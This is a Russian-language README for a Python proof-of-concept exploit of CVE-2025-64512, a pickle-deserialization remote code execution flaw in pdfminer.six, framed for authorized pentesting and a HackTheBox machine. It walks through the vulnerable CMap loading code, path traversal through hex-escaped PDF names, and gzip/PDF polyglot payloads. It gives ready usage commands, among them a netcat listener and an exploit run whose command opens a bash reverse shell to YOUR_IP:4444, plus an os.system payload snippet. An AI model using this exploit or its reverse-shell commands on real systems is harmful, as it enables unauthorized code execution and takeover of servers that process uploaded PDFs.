Python PoC для CVE-2025-64512, RCE через десериализацию pickle в pdfminer.six. Генерирует gzip-сжатые pickle-пейлоады и полиглотные PDF-файлы, затем доставляет их на порталы загрузки для авторизованного тестирования.
Python 3, только стандартная библиотека (без pip install). Только для авторизованного тестирования на проникновение и CTF — вы несёте ответственность за соблюдение закона и правил взаимодействия в рамках вашего задания.
| CVE | CVE-2025-64512 |
| Затронуто | pdfminer.six < 20251107 (исправлено в 20251107 — CMaps стали JSON) |
| Пострадавшие downstream | markitdown < 0.1.4, pdfplumber < 0.11.8 |
| Тип | CWE-502 десериализация недоверенных данных → неаутентифицированный RCE |
| Эталонный PoC | luigigubello/CVE-2025-64512-Polyglot-PoC (однофайловый polyglot-вариант) |
Протестированная цель: https://app.hackthebox.com/machines/Bedside
pdfminer.six — популярная Python-библиотека для извлечения текста из PDF. Шрифтам PDF нужны CMaps — таблицы, переводящие коды символов в Unicode — и pdfminer поставляет их в виде gzip-сжатых pickle-файлов (<name>.pickle.gz) внутри собственного пакета. Посмотрите, как загружается CMap (pdfminer/cmapdb.py, все версии до 20251107):
@classmethod
def _load_data(cls, name: str) -> Any:
name = name.replace("\0", "") # ЕДИНСТВЕННАЯ санитизация
filename = "%s.pickle.gz" % name # ← атакующий контролирует `name`
cmap_paths = (
os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
os.path.join(os.path.dirname(__file__), "cmap"),
)
for directory in cmap_paths:
path = os.path.join(directory, filename) # ← абсолютное имя игнорирует директорию!
if os.path.exists(path):
with gzip.open(path) as gzfile:
return type(str(name), (), pickle.loads(gzfile.read())) # ← 💥
Складываются три изъяна:
name берётся из самого PDF. Запись /Encoding шрифта Type0 (CID) — это PDF-имя, и атакующий полностью его контролирует. PDF-имена не могут содержать необработанный /, поэтому он записывается с помощью стандартных hex-escape из RFC: имя /#2f#76#61#72#2f… декодируется в /var/….os.path.join. Когда второй аргумент абсолютный, первый полностью игнорируется. Так что имя /var/www/site/uploads/shell заставляет pdfminer обратиться к /var/www/site/uploads/shell.pickle.gz — любому пути на диске — вместо собственной директории CMaps.pickle.loads() над содержимым файла. Pickle может нести инструкции «пересобери меня, вызвав эту функцию» (__reduce__). Десериализация байтов атакующего = выполнение кода атакующего внутри того процесса, который вызвал pdfminer.Предпосылки для эксплуатации — баг тривиально эксплуатируется в любом приложении, которое даёт вам обе половины уравнения:
{"__reduce__": eval("__import__('os').system('<ваша команда>')")}./Encoding называет абсолютный путь к вашему pickle.--mode two (по умолчанию) — загружает <name>.pickle.gz, затем <name>.pdf. Используйте это, когда цель разбирает только файлы с расширением PDF (например, watcher, собирающий uploads/*.pdf).--mode polyglot — загружает один файл <name>.pickle.gz, который является одновременно валидным gzip-pickle и валидным PDF: весь PDF прячется в поле FCOMMENT заголовка gzip (RFC 1952 допускает комментарии; сигнатура %PDF- находится на байте 10, а смещения xref предварительно сдвинуты, чтобы таблица оставалась валидной). Используйте это, когда цель разбирает любой загруженный файл как PDF независимо от расширения (конвертеры в стиле markitdown).--verify), пережидает цикл обработки цели (--wait) и может добавить в начало callback-оракул (--callback), который «звонит домой» до запуска вашей команды — так вы докажете выполнение, даже если основной канал откажет.Устанавливать нечего — Python 3.10+ (использует синтаксис str | None):
chmod +x cve_2025_64512.py
Сгенерируйте образцы полезной нагрузки и (если уязвимый pdfminer импортируем) выполните их в своём Python, чтобы доказать работоспособность цепочки до касания цели:
# укажите selftest на уязвимый checkout/wheel pdfminer (любой < 20251107)
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest
Ожидаемый вывод заканчивается на SELFTEST PASS как для двухфайлового триггера, так и для polyglot. Можно также проверить вручную:
python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/ # разместить как /tmp/demo.pickle.gz
pdf2txt.py /tmp/demo-trigger.pdf # только уязвимый pdfminer
cat /tmp/pwned # → ваш uid
# 1. запустите слушатель для канала обратного вызова вашей команды
nc -lvnp 4444
# 2. запустите эксплойт — пусть он сам обнаружит директорию загрузки
python3 cve_2025_64512.py \
--url http://research.target.htb/ \
--leak-path \
--verify /uploads \
--wait 35 \
--command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"
Полный справочник аргументов: